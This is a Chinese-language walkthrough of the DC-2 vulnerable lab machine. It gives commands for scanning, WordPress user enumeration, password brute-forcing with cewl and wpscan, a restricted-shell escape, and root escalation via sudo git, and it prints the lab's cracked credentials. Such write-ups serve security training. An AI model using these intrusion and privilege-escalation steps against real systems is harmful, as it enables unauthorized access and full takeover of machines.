DC-2

环境部署

kali和DC都设置成NAT,DC记得获取到MAC地址

信息收集

1
nmap -sP 192.168.0.0/24

使用nmap进行扫描,发现dc-2靶机的ip为:192.168.0.131
图片

1
nmap -A -p 1-65535 192.168.0.131

继续扫描靶机的端口,可以看到开放了80端口和7744端口(在此端口上部署了ssh服务)
图片

因为开放了80端口,所以在浏览器中访问:http://192.168.0.131:80,发现url变成了http://dc-2,很明显,DNS没有被解析。

图片

再次查看一下nmap的扫描结果,发现如下结果,nmap给出了无法跟踪跳转到http://dc-2/,所以我们需要去添加hosts的地址

1
nmap -A -p 1-65535 192.168.0.131

图片

hosts文件所在路径

1
2
windows:C:\Windows\System32\drivers\etc\hosts
linux:/etc/hosts

然后再次访问:http://192.168.0.131:80,是一个wordpress的界面。找到第一个flag1
图片

全部翻译过来如下

图片

爆破账户名和密码

密码生成

1、提示我们需要一个用户名来登录,而且其中有一个关键字:cewl(kali自带这个工具),这是一个linux的字典生成工具,最大的特点就是能够爬取网站的信息并生成字典。

使用cewl来爬取网站并生成密码字典

1
2
cewl http://dc-2/ -w dc-2.txt #生成字典
wc -l dc-2.txt #查看字典中有多少行

扫描用户名账号

因为网站是wordpress,所以采用wpscan来扫描

wpscan –url dc-2  -e u #扫描出网站的用户名
发现了3个账号:admin、jerry、tom

开始爆破

1、使用之前获取的三个用户名和cewl工具生成的字典的来爆破

dc-2-user.txt文件:存放用户名   dc-2.txt:存放密码

1
wpscan --url http://dc-2/-U dc-2-user.txt -P dc-2.txt

成功爆出jerry和tom的密码:

jerry/adipiscing
tom/parturient
登录后台,wordpress默认后台路径是:/wp-login.php,访问后台登录界面

使用jerry用户登录(使用tom登录没有什么有用的信息)点击Pages按钮,查看到flag2,查看flag2

图片

翻译过来

图片

ssh登录靶机

使用之前爆破的用户名和密码来登录

jerry/adipiscing
tom/parturient
使用jerry登录,被拒绝登录了,只能使用tom用户登录

图片

虽然登陆了ssh登录成功,但是无法使用cat或者vim查看flag3

但是这里查看可以用的命令的话,是可以用vi查看的话,这里尝试绕过提权

绕过rbash

查看环境变量,发现只有4个命令可以使用

图片

即我们获取到的shell为:Restricted shell(受限制的shell),可以添加环境变量来绕过

#绕过rbash

BASH_CMDS[a]=/bin/sh;a

#添加环境变量

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/

成功读取flag3

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

翻译:可怜的老汤姆总是追随杰里。也许他应该承受自己造成的所有压力。

线索指向了jerry,提示使用su切换用户

使用su jerry切换为jerry用户,密码为之前获取的密码,成功读取flag4

图片

git提权

查看jerry可以以root用户的身份执行git命令而且还不需要密码

1
sudo -l

提权

1
2
3
4
5
6
7
方法1:
sudo git -p help #强制进入交互状态
!/bin/bash #打开一个用户为root的shell

方法2:
sudo git help config #在末行命令模式输入
!/bin/bash 或者 !'sh' #打开一个用户为root的shell

图片

成功获取到最后一个flag

图片

知识点总结

1、wordpress的后台登陆点以及域名解析

2、cewl工具和wpscan工具的使用

3、su命令切换用户

4、git提权